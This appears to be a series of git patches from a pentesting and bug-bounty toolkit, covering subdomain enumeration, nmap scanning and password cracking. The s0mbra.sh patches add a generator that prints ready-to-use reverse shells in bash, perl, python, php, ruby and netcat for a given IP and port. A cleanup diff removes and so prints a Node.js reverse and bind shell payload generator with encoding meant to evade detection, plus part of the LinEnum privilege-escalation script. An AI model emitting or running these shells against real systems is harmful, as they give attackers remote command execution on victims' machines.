bl4de ###" - print "###", " " * 70, "###" - print "###", " " * 70, "###" - print "#" * 78 + pass def print_object_details(objtype, objcontent, objhash, objfilename): diff --git a/enumeratescope.sh b/enumeratescope.sh index a587481..f6b96f4 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -5,6 +5,7 @@ # @licence: MIT # +HOME=/Users/bl4de ## create domains/ folder create_domains_folder() { @@ -20,7 +21,7 @@ enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister - amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all From 78cc8b60cb46c4a9c93ff842010a1ce8e1127bd1 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 1 Sep 2020 00:54:47 +0100 Subject: [PATCH 149/460] [s0mbra] list available tools when priv_esc command is run --- s0mbra.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 632b92e..dc8fbe7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -144,6 +144,8 @@ javascript_sca() { # exposes folder with Linux PrivEsc tools on localhost:9119 privesc_tools_linux() { cd "$HACKING_HOME"/tools/Linux-tools || exit + echo -e "$BLUE[+] Available tools:$CLR" + tree -L 2 . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" http_server 9119 } @@ -152,6 +154,8 @@ privesc_tools_linux() { # exposes folder with Windows PrivEsc tools on localhost:9119 privesc_tools_windows() { cd "$HACKING_HOME"/tools/Windows || exit + echo -e "$BLUE[+] Available tools:$CLR" + ls -lR . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" http_server 9119 } From fbc2f71dc338f4be123ce07c18c93df8425fface Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 21 Sep 2020 22:58:24 +0100 Subject: [PATCH 150/460] [nodestructor] dangerouslySetInnerHTML fix --- nodestructor/nodestructor.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 9c7d0bf..cc775df 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -107,8 +107,8 @@ ".*\.replaceWith\(", ".*\.wrap\(", ".*\.wrapAll\(", - ".*\.dangerouslySetInnerHTML\(", - ".*\.bypassSecurityTrust.*\(", + ".*\.dangerouslySetInnerHTML", + ".*\.bypassSecurityTrust.*", ".*localStorage\.", ".*sessionStorage\.", ".*\$sce\.trustAsHtml\(", From 7f6648f405e06eb59830bdca29bf86eefae61b6e Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 21 Sep 2020 23:06:39 +0100 Subject: [PATCH 151/460] [s0mbra] generate_shells (inspired by/CREDITS: @spyx https://github.com/spyx/monkey-shell) --- s0mbra.sh | 38 +++++++++++++++++++++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index dc8fbe7..59537c9 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -19,6 +19,8 @@ BLUE='\033[1;34m' MAGENTA='\033[1;35m' CLR='\033[0m' +NEWLINE='\n' + __logo=" :PB@Bk: @@ -335,6 +337,36 @@ apk() { fi } +generate_shells() { + clear + port=$2 + + echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" + + echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "\033[41m[bash]\033[0m exec 5<>/dev/tcp/$1/$port | cat <&5 | while read line; do $line 2>&5 >&5; done" + echo -e "$NEWLINE" + echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[42m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "$NEWLINE" + echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"\033[0m);'" + echo -e "$NEWLINE" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "$NEWLINE" + echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "$NEWLINE" + echo -e "\033[46m[netcat]\033[0m nc -e /bin/sh $1 $port" + echo -e "\033[46m[netcat]\033[0m nc -c /bin/sh $1 $port" + echo -e "\033[46m[netcat]\033[0m /bin/sh | nc $1 $port" + echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$NEWLINE" +} + cmd=$1 clear @@ -397,6 +429,9 @@ case "$cmd" in s3go) s3go "$2" "$3" ;; + generate_shells) + generate_shells "$2" "$3" + ;; interactive) interactive "$2" ;; @@ -415,10 +450,11 @@ case "$cmd" in echo -e "\n::$BLUE AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "\n::$BLUE TOOLS ::$CLR" + echo -e "\n::$BLUE PENTEST TOOLS ::$CLR" echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" + echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "\n::$BLUE SMB SUITE ::$CLR" echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" From 128e854e30a811c91af6b77d5ec923bedb57fbae Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 25 Oct 2020 14:08:31 +0000 Subject: [PATCH 152/460] [s0mbra] missing bracket in Python rev. shell --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 59537c9..8c9f8ef 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -351,7 +351,7 @@ generate_shells() { echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "\033[42m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "$NEWLINE" - echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"\033[0m);'" + echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" echo -e "$NEWLINE" echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "$NEWLINE" From 6d6bc24b1264c10621f16ea017db130a56fa342e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 1 Nov 2020 21:07:37 +0000 Subject: [PATCH 153/460] [denumerator] Add option to create directory for report in reports/ --- .gitignore | 1 + denumerator/denumerator.py | 35 +++++++++++++++++++++++------------ enumeratescope.sh | 9 ++++++--- 3 files changed, 30 insertions(+), 15 deletions(-) diff --git a/.gitignore b/.gitignore index b48f25f..2f890da 100644 --- a/.gitignore +++ b/.gitignore @@ -14,3 +14,4 @@ sword/OUTPUT .vscode .history/ +.env diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 9bdfaf2..6685781 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -37,11 +37,13 @@ $ ./denumerator.py -f DOMAINS_LIST -t 5 """ +DEFAULT_DIRECTORY = 'report' colors = { "white": '\33[37m', 200: '\33[32m', 204: '\33[32m', + 301: '\33[33m', 302: '\33[33m', 304: '\33[33m', 302: '\33[33m', @@ -110,11 +112,11 @@ def create_output_header(html_output): return -def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses): +def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( - './report/' + screenshot_name) + './reports/{}/'.format(output_directory) + screenshot_name) os.system(screenshot_cmd + url) # base color for all responses @@ -191,7 +193,7 @@ def create_output_footer(html_output): return -def send_request(proto, domain, output_file, html_output, allowed_http_responses, nmap_output, ip): +def send_request(proto, domain, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory): """ sends request to check if server is alive """ @@ -213,7 +215,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses if str(resp.status_code) in allowed_http_responses: append_to_output(html_output, protocols.get( - proto.lower()) + domain, resp.status_code, resp.headers, nmap_output, ip) + proto.lower()) + domain, resp.status_code, resp.headers, nmap_output, ip, output_directory) if output_file: output_file.write('{}\n'.format(domain)) @@ -222,7 +224,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses return resp.status_code -def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, show=False): """ enumerates domain from domains """ @@ -240,9 +242,9 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0]) send_request('http', d, output_file, - html_output, allowed_http_responses, nmap_output, ip) + html_output, allowed_http_responses, nmap_output, ip, output_directory) send_request('https', d, output_file, - html_output, allowed_http_responses, nmap_output, ip) + html_output, allowed_http_responses, nmap_output, ip, output_directory) except requests.exceptions.InvalidURL: if show is True: @@ -281,12 +283,14 @@ def main(): "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( "-o", "--output", help="Path to output file") + parser.add_argument( + "-d", "--dir", help="Output directory name (default: report/") parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) parser.add_argument( - "-p", "--ports", help="--top-ports option for nmap (default = 1000)", default=1000 + "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) args = parser.parse_args() @@ -298,6 +302,11 @@ def main(): else: output_file = False + if args.dir: + output_directory = args.dir + else: + output_directory = DEFAULT_DIRECTORY + if args.code: allowed_http_responses = args.code.split(',') else: @@ -310,15 +319,17 @@ def main(): domains = open(args.file, 'r').readlines() # create dir for HTML report - if os.path.isdir('report') == False: - os.mkdir('report') + if os.path.isdir('reports') == False: + os.mkdir('reports') + if os.path.isdir('reports/{}'.format(output_directory)) == False: + os.mkdir('reports/{}'.format(output_directory)) # starts output HTML - html_output = open('report/__denumerator_report.html', 'w+') + html_output = open('reports/{}/__denumerator_report.html'.format(output_directory), 'w+') create_output_header(html_output) # main loop enumerate_domains(domains, output_file, html_output, - allowed_http_responses, nmap_top_ports, show) + allowed_http_responses, nmap_top_ports, output_directory, show) # finish HTML output create_output_footer(html_output) diff --git a/enumeratescope.sh b/enumeratescope.sh index f6b96f4..02ca6aa 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -48,7 +48,7 @@ create_list_of_domains() { ## runs denumerator run_denumerator() { echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,302,403,500 + denumerator -f domains/__domains.final -c 200,203,206,301,302,403,500 -d $1 echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log } @@ -68,8 +68,11 @@ run_virustotal_enum() { # list of domains - text file, one domain in single line DOMAINS=$1 +# output directory for denumerator +OUTPUT_DIR=$2 + # IP address range -CIDR=$2 +CIDR=$3 echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log @@ -90,7 +93,7 @@ create_list_of_domains echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" # run denumerator on the domains/domains.final output file -run_denumerator +run_denumerator $OUTPUT_DIR echo -e "\n[+} DONE." From 3a0f5862f20b9bafc7a6e3d028b6fd43daac947f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 2 Nov 2020 18:39:33 +0000 Subject: [PATCH 154/460] [denumerator] timeouts bugfixes; output improvements --- denumerator/denumerator.py | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 6685781..0b53253 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -115,9 +115,15 @@ def create_output_header(html_output): def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' - screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( + screenshot_cmd = '/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --headless --user-agent="HackerOne" --dns-prefetch-disable --log-level=0 --timeout=30000 --screenshot={} '.format( './reports/{}/'.format(output_directory) + screenshot_name) - os.system(screenshot_cmd + url) + + # os.system(screenshot_cmd + url) + subprocess.run( + screenshot_cmd + url, + shell=True, + timeout=30 + ) # base color for all responses http_status_code_color = "000" @@ -228,24 +234,30 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, """ enumerates domain from domains """ + iterator = 0 + number_of_domains = len(domains) for d in domains: + iterator = iterator + 1 try: d = d.strip('\n').strip('\r') - + print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], iterator, number_of_domains, colors['white'])) # IP address ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout # perform nmap scan nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) - print([port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0]) + print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) + time.sleep(1) + send_request('https', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) - + time.sleep(1) + except requests.exceptions.InvalidURL: if show is True: print('[-] {} is not a valid URL :/'.format(d)) From 2a2d9890c27f60e7a39e1f7487a7e6079112a920 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 Nov 2020 18:11:32 +0000 Subject: [PATCH 155/460] [denumerator] Add 301 and 500 to list of default HTTP responses --- denumerator/denumerator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 0b53253..db23627 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -322,7 +322,7 @@ def main(): if args.code: allowed_http_responses = args.code.split(',') else: - allowed_http_responses = ['200'] + allowed_http_responses = ['200','301','500'] nmap_top_ports = args.ports From c6dd2aea8709a9f97a789253ab11d53013541ed5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 9 Nov 2020 23:05:47 +0000 Subject: [PATCH 156/460] [denumerator] Fix for misssing domains list file --- denumerator/denumerator.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index db23627..340d6cc 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -328,7 +328,11 @@ def main(): # set options show = True if args.success else False - domains = open(args.file, 'r').readlines() + + if args.file is not None and os.path.isfile(args.file): + domains = open(args.file, 'r').readlines() + else: + exit('[-] Can not open {} file with domains list :/'.format(args.file)) # create dir for HTML report if os.path.isdir('reports') == False: From aaaccaaa85d5c599fedfa7348023f1470ea12342 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 13 Dec 2020 11:12:19 +0000 Subject: [PATCH 157/460] [s0mbra] rockyou_zip --- denumerator/denumerator.py | 1 - enumeratescope.sh | 4 ++-- s0mbra.sh | 12 ++++++++++++ 3 files changed, 14 insertions(+), 3 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 340d6cc..2f6d2cc 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -300,7 +300,6 @@ def main(): parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) - parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) diff --git a/enumeratescope.sh b/enumeratescope.sh index 02ca6aa..c3e52d4 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -21,7 +21,7 @@ enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister - amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all @@ -48,7 +48,7 @@ create_list_of_domains() { ## runs denumerator run_denumerator() { echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,203,206,301,302,403,500 -d $1 + denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 -d $1 echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 8c9f8ef..3894de1 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -113,6 +113,14 @@ rockyou_john() { cat "$HACKING_HOME"/tools/jtr/run/john.pot } +# ZIP password cracking with rockyou.txt +rockyou_zip() { + echo -e "$BLUE[+] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." + "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + echo -e "$BLUE[+] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" + hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt +} + # converts id_rsa to JTR format for cracking SSH key ssh_to_john() { echo -e "$BLUE[+] Converting SSH id_rsa key to JTR format to crack it$CLR" @@ -384,6 +392,9 @@ case "$cmd" in rockyou_john) rockyou_john "$2" "$3" ;; + rockyou_zip) + rockyou_zip "$2" + ;; ssh_to_john) ssh_to_john "$2" ;; @@ -463,6 +474,7 @@ case "$cmd" in echo -e "\n::$BLUE PASSWORDS CRACKIN' ::$CLR" echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" echo -e "\n::$BLUE STATIC CODE ANALYSIS ::$CLR" echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor" From 4d4fba6b606585a2c14c883b0a0eb2e35cf2b395 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Dec 2020 01:34:20 +0000 Subject: [PATCH 158/460] cleanup --- __not_mine/JSReverseShellGenerator.py | 139 --- __not_mine/linenum.sh | 1289 -------------------- __not_mine/linuxprivchecker.sh | 1086 ----------------- aqua | 12 - http_headers_fuzzer/http_headers_fuzzer.py | 214 ---- http_headers_fuzzer/requirements.txt | 1 - npmpwnr.py | 124 -- source_tracker/LICENSE.md | 20 - source_tracker/README.md | 80 -- source_tracker/source_tracker.py | 127 -- 10 files changed, 3092 deletions(-) delete mode 100644 __not_mine/JSReverseShellGenerator.py delete mode 100644 __not_mine/linenum.sh delete mode 100644 __not_mine/linuxprivchecker.sh delete mode 100755 aqua delete mode 100755 http_headers_fuzzer/http_headers_fuzzer.py delete mode 100644 http_headers_fuzzer/requirements.txt delete mode 100755 npmpwnr.py delete mode 100644 source_tracker/LICENSE.md delete mode 100644 source_tracker/README.md delete mode 100755 source_tracker/source_tracker.py diff --git a/__not_mine/JSReverseShellGenerator.py b/__not_mine/JSReverseShellGenerator.py deleted file mode 100644 index ed48304..0000000 --- a/__not_mine/JSReverseShellGenerator.py +++ /dev/null @@ -1,139 +0,0 @@ -#!/usr/bin/env python -# -# Author: Andre Lima @0x4ndr3 -# Blog post: https://pentesterslife.blog/ -# - -import click -import socket # to validate the IP address -import urllib # to URL percent-encode the payloads -import base64 - - -def get_default_bind_JS_code(port): - return '''(function x(){require('http').createServer(function(req,res){res.writeHead(200,\ -{"Content-Type":"text/plain"});require('child_process').exec(require('url').parse(req.url\ -,true).query['c'],function(e,s,st){res.end(s)})}).listen(%s)})()''' % port -# (function x(){ -# require('http').createServer( -# function(req,res){ -# res.writeHead(200,{"Content-Type":"text/plain"} -# ); -# require('child_process').exec(require('url').parse(req.url,true).query['c'], -# function(e,s,st){ -# res.end(s) -# } -# ) -# } -# ).listen(%s) -# })() - - -def get_default_reverse_JS_code(ip, port): - return '''(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh"\ -,[]);var client=new net.Socket();client.connect(%s,"%s", function(){client.pipe(sh.stdin);sh.stdout.\ -pipe(client);sh.stderr.pipe(client)});return /pwned/;})()''' % (port, ip) -# (function(){ -# var net = require("net"), -# cp = require("child_process"), -# sh = cp.spawn("/bin/sh", []); -# var client = new net.Socket(); -# client.connect(%s, "%s", function(){ -# client.pipe(sh.stdin); -# sh.stdout.pipe(client); -# sh.stderr.pipe(client); -# }); -# return /pwned/; // Prevents the Node.js app from crashing -# })() - - -def show_result(encoded_payload): - print - print "Original payload:" - print encoded_payload - print - print "Copy and paste the next line (URL encoded already):" - print urllib.quote_plus(encoded_payload) - print - - -class IPParamType(click.ParamType): - name = 'IP' - - def convert(self, value, param, ctx): - try: - socket.inet_aton(value) - return value - except socket.error: - self.fail('%s is not a valid IP address' % value, param, ctx) - - -IP = IPParamType() - - -@click.group() -def generator(): - pass - - -@click.command() -@click.option('-p', '--port', type=click.IntRange(1, 65535), default=4444, help='value between 1 and 65535') -@click.option('-e', '--encoding', type=click.Choice(['hex', 'base64', 'caesar']), default='hex') -@click.option('-k', '--key', type=click.IntRange(1, 255), default=1, help='only read if caesar encoding is chosen') -def bind(port, encoding, key): - print "TCP Port = %s" % (port) - print "Encoding = %s" % (encoding) - if encoding == "caesar": - print " Key = %s" % (key) - encoded_payload = "" - JS_payload = get_default_bind_JS_code(port) - if encoding == 'hex': - encoded_payload = "eval(Buffer.from('" + \ - JS_payload.encode('hex') + "','hex').toString())" - elif encoding == 'base64': - encoded_payload = "eval(Buffer.from('" + \ - base64.b64encode(JS_payload) + "','base64').toString())" - elif encoding == 'caesar': - for i in JS_payload: - encoded_payload += "%03d" % (ord(i)+key) - encoded_payload = "caesarShift=(str,amount)=>{var output='',code='';for(var i=0;i/dev/null -echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null - -echo "Debug Info" |tee -a $report 2>/dev/null - -if [ "$keyword" ]; then - echo "keyword = $keyword" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$report" ]; then - echo "report name = $report" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ]; then - echo "export location = $export" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$thorough" ]; then - echo "thorough tests = enabled" |tee -a $report 2>/dev/null -else - echo "thorough tests = disabled" |tee -a $report 2>/dev/null -fi - -sleep 2 - -if [ "$export" ]; then - mkdir $export 2>/dev/null - format=$export/LinEnum-export-`date +"%d-%m-%y"` - mkdir $format 2>/dev/null -else - : -fi - -who=`whoami` 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null -echo -e "\e[00m\n" |tee -a $report 2>/dev/null - -echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null - -#basic kernel info -unameinfo=`uname -a 2>/dev/null` -if [ "$unameinfo" ]; then - echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -procver=`cat /proc/version 2>/dev/null` -if [ "$procver" ]; then - echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#search all *-release files for version info -release=`cat /etc/*-release 2>/dev/null` -if [ "$release" ]; then - echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#target hostname info -hostnamed=`hostname 2>/dev/null` -if [ "$hostnamed" ]; then - echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null - -#current user details -currusr=`id 2>/dev/null` -if [ "$currusr" ]; then - echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#last logged on user information -lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null` -if [ "$lastlogedonusrs" ]; then - echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - - -#who else is logged on -loggedonusrs=`w 2>/dev/null` -if [ "$loggedonusrs" ]; then - echo -e "\e[00;31mWho else is logged on:\e[00m\n$loggedonusrs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lists all id's and respective group(s) -grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null` -if [ "$grpinfo" ]; then - echo -e "\e[00;31mGroup 